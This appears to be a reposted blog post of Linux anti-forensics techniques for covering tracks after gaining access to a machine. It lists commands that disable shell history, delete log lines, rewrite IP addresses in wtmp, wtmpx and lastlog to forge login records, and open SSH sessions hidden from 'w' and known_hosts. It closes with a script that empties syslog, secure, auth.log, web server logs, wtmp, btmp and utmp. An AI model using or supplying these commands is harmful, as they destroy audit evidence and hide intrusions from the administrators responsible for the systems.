Clear traces of Linux

Clear traces of Linux

  • the first method:

Direct execution before exiting the session:

#history -r

Clear command history for the current session

  • The second method:

I do not want others to see the implementation of a command in vim
not open a file with vim

:set history=0
:!command

Different systems

After logging execute the following command, history does not record command (.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

Delete some logs, such as date or the day of their own login ip

sed  -i '/当前时间/'d  /var/log/messages

Replace the specified IP

Centos

utmpdump /var/log/wtmp |sed "s/8.8.8.8/1.1.1.1/g" |utmpdump -r >/tmp/wtmp1 &&\mv  /tmp/wtmp1 /var/log/wtmp

unix

/usr/lib/acct/fwtmp < /var/adm/wtmpx | sed "s/192.168.8.88/localhost/g" | /usr/lib/acct/fwtmp -ic > /var/adm/wtmpx

sed -i 's/192.168.1.1/8.8.8.8/' /var/log/lastlog

Ssh public key is not recorded in the local .ssh directory

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

Administrators can not see the login account w

ssh -T [email protected] /bin/bash –i

Log Files

/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/btmp – 记录所有失败登录信息  命令:lastb
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)

A set schedule tasks, execute scripts

#!/usr/bin/bash
#edit www.jbxue.com
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c

Guess you like

Origin www.cnblogs.com/17bdw/p/11354141.html